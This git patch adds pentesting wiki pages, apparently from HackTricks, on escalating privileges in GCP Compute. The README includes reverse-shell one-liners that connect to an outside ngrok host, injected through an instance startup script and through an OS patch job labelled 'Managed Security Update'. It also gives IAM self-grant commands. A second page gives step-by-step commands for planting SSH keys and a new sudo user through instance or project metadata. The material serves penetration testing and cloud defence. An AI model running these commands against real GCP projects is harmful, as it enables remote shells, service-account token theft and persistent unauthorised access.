From b6af849e117658cdd8a7d430ac9679786aa1b00f Mon Sep 17 00:00:00 2001 From: JaimePolop Date: Wed, 26 Nov 2025 17:22:08 +0100 Subject: [PATCH] fix --- .../gcp-compute-privesc/README.md | 151 ++++++++++++++++++ .../gcp-add-custom-ssh-metadata.md | 100 ++++++++++++ .../gcp-firebase-privesc.md | 3 - 3 files changed, 251 insertions(+), 3 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md new file mode 100644 index 000000000..104bae5a6 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md @@ -0,0 +1,151 @@ +# GCP - Compute Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Compute + +For more information about Compute and VPC (netowork) in GCP check: + +{{#ref}} +../../gcp-services/gcp-compute-instances-enum/ +{{#endref}} + +> [!CAUTION] +> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached! + +### `compute.projects.setCommonInstanceMetadata` + +With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\ +Limitations: + +- Note that GCP Service Accounts running in VM instances by default have a **very limited scope** +- You will need to be **able to contact the SSH** server to login + +For more information about how to exploit this permission check: + +{{#ref}} +gcp-add-custom-ssh-metadata.md +{{#endref}} + +You could aslo perform this attack by adding new startup-script and rebooting the instance: + +```bash +gcloud compute instances add-metadata my-vm-instance \ + --metadata startup-script='#!/bin/bash +bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &' + +gcloud compute instances reset my-vm-instance +``` + +### `compute.instances.setMetadata` + +This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**. + +### `compute.instances.setIamPolicy` + +This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account: + +```bash +export SERVER_SERVICE_ACCOUNT=YOUR_SA +export INSTANCE=YOUR_INSTANCE +export ZONE=YOUR_INSTANCE_ZONE + +cat < policy.json +bindings: +- members: + - serviceAccount:$SERVER_SERVICE_ACCOUNT + role: roles/compute.admin +version: 1 +EOF + +gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE +``` + +### **`compute.instances.osLogin`** + +If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance. + +> [!TIP] +> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM. + +### **`compute.instances.osAdminLogin`** + +If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance. + +> [!TIP] +> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM. + +### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp` + +It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it. + +The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py). + +### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec` + +If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project. + +Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance. + +If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\ +For a patch job run: + +```python +cat > /tmp/patch-job.sh <& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1 +EOF + +gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh + +# Get the generation number +gsutil ls -a gs://readable-bucket-by-sa-in-instance + +gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \ + --instance-filter-names=zones/us-central1-a/instances/ \ + --pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh# \ + --reboot-config=never \ + --display-name="Managed Security Update" \ + --duration=300s +``` + +To deploy a patch deployment: + +```bash +gcloud compute os-config patch-deployments create ... +``` + +The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working). + +**An attacker could also abuse this for persistence.** + +### `compute.machineImages.setIamPolicy` + +**Grant yourself extra permissions** to compute Image. + +### `compute.snapshots.setIamPolicy` + +**Grant yourself extra permissions** to a disk snapshot. + +### `compute.disks.setIamPolicy` + +**Grant yourself extra permissions** to a disk. + +### Bypass Access Scopes + +Following this link you find some [**ideas to try to bypass access scopes**](../index.html). + +### Local Privilege Escalation in GCP Compute instance + +{{#ref}} +../gcp-local-privilege-escalation-ssh-pivoting.md +{{#endref}} + +## References + +- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md new file mode 100644 index 000000000..a68e756b5 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md @@ -0,0 +1,100 @@ +# GCP - Add Custom SSH Metadata + +{{#include ../../../../banners/hacktricks-training.md}} + +## Modifying the metadata + +Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**. + +### **Incorporation of SSH Keys into Custom Metadata** + +On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**. + +Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host. + +### **Add SSH key to existing privileged user** + +1. **Examine Existing SSH Keys on the Instance:** + + - Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key. + + ```bash + gcloud compute instances describe [INSTANCE] --zone [ZONE] + ``` + + - Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon. + +2. **Prepare a Text File for SSH Key Metadata:** + - Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones. +3. **Generate a New SSH Key for the Target User (`alice` in this example):** + + - Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username. + + ```bash + ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub + ``` + + - Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata. + +4. **Update the Instance's SSH Key Metadata:** + + - Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command. + + ```bash + gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt + ``` + +5. **Access the Instance Using the New SSH Key:** + + - Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example). + + ```bash + ssh -i ./key alice@localhost + sudo id + ``` + +### **Create a new privileged user and add a SSH key** + +If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges: + +```bash +# define the new account username +NEWUSER="definitelynotahacker" + +# create a key +ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P "" + +# create the input meta file +NEWKEY="$(cat ./key.pub)" +echo "$NEWUSER:$NEWKEY" > ./meta.txt + +# update the instance metadata +gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt + +# ssh to the new account +ssh -i ./key "$NEWUSER"@localhost +``` + +### SSH keys at project level + +It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide: + +1. **Apply SSH Keys at the Project Level:** + + - Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled. + + ```bash + gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt + ``` + +2. **SSH into Instances Using Project-Wide Keys:** + - With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access. + - A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access. + +## References + +- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) + +{{#include ../../../../banners/hacktricks-training.md}} + + diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md index 2f80a58da..caa8d1192 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md @@ -464,9 +464,6 @@ The attacker gains access to the Firebase CLI credentials file. They can then co ```bash firebase projects:list ``` -## References - -- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) {{#include ../../../banners/hacktricks-training.md}}